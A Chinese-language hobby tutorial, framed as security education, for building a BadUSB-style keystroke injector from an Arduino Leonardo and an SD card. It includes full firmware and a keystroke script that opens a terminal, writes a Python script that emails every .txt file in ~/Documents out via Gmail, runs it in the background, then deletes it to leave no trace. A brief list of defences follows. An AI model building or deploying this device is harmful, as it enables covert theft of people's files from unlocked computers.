防范 USB HID 攻击：Arduino Leonardo 键盘模拟演示

零部件与物料

项目简介

本项目演示利用 Arduino Leonardo 的 HID（人机接口设备）特性模拟键盘，实现物理 USB 攻击原理。**仅用于安全研究与防护教育，严禁非法用途。**

学习目标

• Leonardo 模拟键盘/鼠标
• 读取 SD 卡数据
• 编写 Python 脚本扫描文件并发送邮件
• 了解 USB HID 攻击防范措施

步骤 1：材料准备

同上表。

步骤 2：设备组装

工作原理

Leonardo 可枚举为键盘/鼠标。按下按键后，从 SD 卡读取预置指令脚本 (hack.txt)，逐行解析并模拟按键。演示场景为 Ubuntu Linux：打开终端 (Ctrl+Alt+T)，创建 Python 脚本 (vi hack.py)，写入收集 ~/Documents 下所有 .txt 文件并通过 Gmail 发送的代码，后台运行并删除脚本，最后关闭终端 (Alt+F4)。全程几秒钟，无痕迹。

接线说明

• 按键：VCC→5V, GND→GND, 信号→D8
• SD 卡读卡器通过 ICSP 排针连接 SPI：MISO→ICSP-1, MOSI→ICSP-4, SCK→ICSP-3, CS→D10
• Leonardo 通过 Micro-USB 连接目标主机

固件关键逻辑

• setup() 初始化按键、串口、键盘库、SD 卡
• loop() 检测按键上升沿，触发 sdFileToKeyboard()
• 脚本解析支持三种行格式：
  • 纯文本 → 直接 Keyboard.println()
  • Sleep::<ms> → 延时
  • Command::KEY_...,KEY_...,key → 组合键按下/释放

步骤 3：详细攻击流程

hack.txt 示例内容：

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib, glob, os ...
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), "Documents")))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4

需修改脚本中的 smtp_user, smtp_pass, to_address。

步骤 4：防范对策

1. 禁用或限制 USB 端口（Windows 组策略/注册表）
2. USB 设备白名单管理
3. 离席锁屏 (Win+L / Ctrl+Alt+Del)
4. 非 root/管理员运行，安装软件需密码
5. 保持系统与安全补丁自动更新

完整固件代码

#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"

String filenameOnCard = "hack.txt";
String sleepCmd = "Sleep::";
String cmdPrefix = "Command::";
int delayMs = 10;
const int btnPin = 8, csPin = 10;
int lastBtn = HIGH;

void setup() {
  pinMode(btnPin, INPUT);
  Serial.begin(9600);
  Keyboard.begin();
  if (!SD.begin(csPin)) { Serial.println("SD init failed"); return; }
}

void loop() {
  int state = digitalRead(btnPin);
  if (state != lastBtn && state == HIGH) {
    sdFileToKeyboard();
    Serial.println("Uploaded!");
    delay(500);
  }
  lastBtn = state;
}

void sdFileToKeyboard() {
  File f = SD.open(filenameOnCard);
  if (!f) { Serial.println("File not found"); return; }
  while (f.available()) {
    String line = f.readStringUntil('\n');
    sendToKeyboard(line);
  }
  f.close();
}

void sendToKeyboard(String line) {
  if (line.indexOf(sleepCmd) != -1) { sleepFor(line); return; }
  if (line.indexOf(cmdPrefix) == -1) {
    Keyboard.println(line); pressEnter(); return;
  }
  // 解析 Command::KEY_A,KEY_B,key
  int pos = cmdPrefix.length();
  line += ",";
  while (line.length() > pos) {
    line = line.substring(pos);
    int comma = line.indexOf(",");
    String cmd = line.substring(0, comma);
    pos = comma + 1;
    if (cmd.length()) {
      Keyboard.press(getKeyCode(cmd));
      delay(delayMs);
    }
  }
  Keyboard.releaseAll();
  delay(delayMs);
}

void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }

void sleepFor(String line) {
  int ms = line.substring(sleepCmd.length()).toInt();
  delay(ms);
}

char getKeyCode(String txt) {
  if (txt == "KEY_LEFT_CTRL") return KEY_LEFT_CTRL;
  if (txt == "KEY_LEFT_SHIFT") return KEY_LEFT_SHIFT;
  if (txt == "KEY_LEFT_ALT") return KEY_LEFT_ALT;
  if (txt == "KEY_UP_ARROW") return KEY_UP_ARROW;
  if (txt == "KEY_DOWN_ARROW") return KEY_DOWN_ARROW;
  if (txt == "KEY_LEFT_ARROW") return KEY_LEFT_ARROW;
  if (txt == "KEY_RIGHT_ARROW") return KEY_RIGHT_ARROW;
  if (txt == "KEY_RIGHT_GUI") return KEY_RIGHT_GUI;
  if (txt == "KEY_BACKSPACE") return KEY_BACKSPACE;
  if (txt == "KEY_TAB") return KEY_TAB;
  if (txt == "KEY_RETURN") return KEY_RETURN;
  if (txt == "KEY_ESC") return KEY_ESC;
  if (txt == "KEY_INSERT") return KEY_INSERT;
  if (txt == "KEY_DELETE") return KEY_DELETE;
  if (txt == "KEY_PAGE_UP") return KEY_PAGE_UP;
  if (txt == "KEY_PAGE_DOWN") return KEY_PAGE_DOWN;
  if (txt == "KEY_HOME") return KEY_HOME;
  if (txt == "KEY_END") return KEY_END;
  if (txt == "KEY_CAPS_LOCK") return KEY_CAPS_LOCK;
  for (int i=1; i<=12; i++) if (txt == "KEY_F"+String(i)) return (KeyboardKeycode)(KEY_F1 + i - 1);
  return txt.charAt(0);
}

原理图

Fritzing 原理图展示 Leonardo、按键、SD 卡读卡器 (ICSP 接法) 连接。